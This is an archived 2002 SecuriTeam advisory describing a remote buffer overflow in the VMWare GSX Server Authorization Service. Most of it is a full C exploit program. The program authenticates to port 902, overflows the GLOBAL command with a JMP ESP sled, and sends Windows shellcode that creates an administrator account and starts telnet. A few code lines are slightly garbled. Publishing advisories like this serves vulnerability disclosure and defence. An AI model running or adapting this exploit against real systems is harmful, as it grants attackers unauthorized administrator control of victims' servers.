

# [NT] VMWare GSX Server Remote Buffer Overflow

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-07/0110.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 07/24/02

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: Wed, 24 Jul 2002 18:04:54 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

-----

VMWare GSX Server Remote Buffer Overflow

---

## SUMMARY

VMWare GSX Server is a very popular virtualization software, it's remote console: There is a buffer overflow vulnerability on VMWare Authorization Service, although the designer have taken measures to prevent buffer overflow when the software was designed, the buffer overflow vulnerability still allow users to gain privileges and execute any commands.

## DETAILS

Vulnerable systems:

\* VMWare GSX Server 2.0.0 build-2050

VMWare GSX Server communicates with its VMWare Remote Console via a TCP port 902, the handshake process is similar to:

220 VMWare Authentication Daemon Version 1.00

USER anyuser

331 Password required for user.

PASS \*\*\*\*\*

230 User user logged in.

GLOBAL server

200 Connect Global

## Securiteam: [NT] VMWare GSX Server Remote Buffer Overflow

The length of USER, PASS, GLOBAL commands is checked, however the command GLOBAL can be overflowed when the buffer is not too large to trigger the internal protection mechanism, but big enough to cause an overflow.

Exploit

```
////////////////////////////////////  
// VMwareOverflowTest v1.0  
// Written by Zag & Glcs  
// BigBall@venustech.com.cn glcs@venustech.com.cn  
// http://www.Venustech.com  
////////////////////////////////////
```

```
#include "stdio.h"  
#include "winsock2.h"  
#include "stdlib.h"  
#pragma comment (lib, "Ws2_32")
```

```
//to make sure that the shellcode length and GLOBAL command length not  
exceed the limit.
```

```
//add an administrator account: x_adrc password: x_adrc
```

```
//start the telnet service
```

```
"\x68\xC1\x15\x35\x09\x81\x2C\x24"  
"\x80\xD1\xF0\x08\x68\x63\x20\x20"  
"\x2F\x68\x5F\x61\x64\x72\x68\x72"  
"\x73\x20\x78\x68\x72\x61\x74\x6F"  
"\x68\x6E\x69\x73\x74\x68\x61\x64"  
"\x6D\x69\x68\x6F\x75\x70\x20\x68"  
"\x61\x6C\x67\x72\x68\x20\x6C\x6F"  
"\x63\x68\x26\x6E\x65\x74\x68\x74"  
"\x73\x76\x72\x68\x20\x74\x6C\x6E"  
"\x68\x74\x61\x72\x74\x68\x65\x74"  
"\x20\x73\x68\x44\x44\x26\x6E\x68"  
"\x63\x20\x2F\x41\x68\x5F\x61\x64"  
"\x72\x68\x72\x63\x20\x78\x68\x78"  
"\x5F\x61\x64\x68\x73\x65\x72\x20"  
"\x68\x65\x74\x20\x75\x68\x2F\x63"  
"\x20\x6E\x68\x63\x6D\x64\x20\x8B"  
"\xC4\x6A\x01\x50\xB8\xC6\x84\xE6"  
"\x77\xFF\xD0\x90";
```

```
//the JMP ESP address of WindowsXP English Version, we can add the address  
of other systems, such as Windows 2000.
```

```
unsigned char Jump_ESP_XP_Eng[] = {0x1b,0x17,0xe3,0x77}; //WinXP Eng  
unsigned char Jump_ESP[4];
```

```
void usage ()
```

```
{  
printf ("VMwareOverflowTest v1.0\n Written by Zag & Glcs\n  
Email:BigBall@venustech.com.cn\n Glcs@venustech.com.cn\n  
www.Venustech.com\n\nUsage:VMwareOverflowTest.exe <IP> <PORT> <username>
```

## Securiteam: [NT] VMWare GSX Server Remote Buffer Overflow

```
<passwd> <os type>\n\t0.Windows XP Eng\n");
return;
}

int main (int argc, char **argv)
{
char str[4096];
WSADATA wsa;
SOCKET sock;
struct sockaddr_in server;
int ret;
int i = 0;
if (argc != 6)
{
usage ();
return 0;
}
WSAStartup (MAKEWORD (2, 2), &wsa);
sock = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
server.sin_family = AF_INET;
server.sin_port = htons (atoi (argv[2]));
server.sin_addr.s_addr = inet_addr (argv[1]);

//the base address of DLL files on each systems is not the same, so
we need to modify the call address
//we can find that the system have loaded the DLL files we need by
check VMware Authorization Service
//then we only need modify the call address
//(BASE_ADDRESS + FUNCTION_OFFSET)
switch (atoi(argv[5]))
{
case 0:
shellcode[133] = 0xc6;
shellcode[134] = 0x84;
shellcode[135] = 0xe6;
shellcode[136] = 0x77;

strcpy (Jump_ESP, Jump_ESP_XP_Eng);

break;
default:
shellcode[133] = 0xc6;
shellcode[134] = 0x84;
shellcode[135] = 0xe6;
shellcode[136] = 0x77;

strcpy (Jump_ESP, Jump_ESP_XP_Eng);
break;
}
ret = connect (sock, (struct sockaddr *)&server, sizeof (server));
```

## Securiteam: [NT] VMWare GSX Server Remote Buffer Overflow

```
if (ret == SOCKET_ERROR)
{
printf ("connect error\n");
return -1;
}

//receive welcome message
memset (str, 0, sizeof (str));
recv (sock, str, 100, 0);
printf ("%s", str);

//send username confirm message
memset (str, 0, sizeof (str));
strcpy (str,"USER ");
strcat (str, argv[3]);
strcat (str, "\r\n");
ret = send (sock, str, strlen (str), 0);

//receive confirm message
memset (str, 0, sizeof (str));
recv (sock, str, 100, 0);
printf ("%s", str);

//send password
memset (str, 0, sizeof (str));
strcpy (str,"PASS ");
strcat (str, argv[4]);
strcat (str, "\r\n");
ret = send (sock, str, strlen (str), 0);

//receive confirm message
memset (str, 0, sizeof (str));
ret = recv (sock, str, 100, 0);
printf ("%s", str);

make GLOBAL command
memset (str, 0, sizeof (str));
strcpy (str, "GLOBAL ");
//to up the success probability, we use the half-continuous covering, so
the exact overflow point is not need

for(i = 7; i < 288; i += 8)
{
memcpy(str + i, "\x90\x90\x58\x68", 4);
//write the JMP ESP command into the possible return address
memcpy(str + i + 4, Jmp_ESP, 4);
}

//append the shellcode to the GLOBAL command string
memcpy (str + i, shellcode, strlen (shellcode));
strcat (str, "\r\n");
```

## Securiteam: [NT] VMWare GSX Server Remote Buffer Overflow

```
ret = send (sock, str, strlen (str), 0);  
printf ("Done!\n");  
closesocket (sock);  
WSACleanup ();  
return 1;  
}
```

### ADDITIONAL INFORMATION

The information has been provided by <mailto:[Glcs@venustech.com.cn](mailto:Glcs@venustech.com.cn)> Zag  
and <mailto:[BigBall@venustech.com.cn](mailto:BigBall@venustech.com.cn)> Glcs.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- 
- **Previous message:** [support@securiteam.com](mailto:support@securiteam.com): "[NT] Pablo Software Solutions FTP server Directory Traversal Vulnerability"
  - **Messages sorted by:** [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)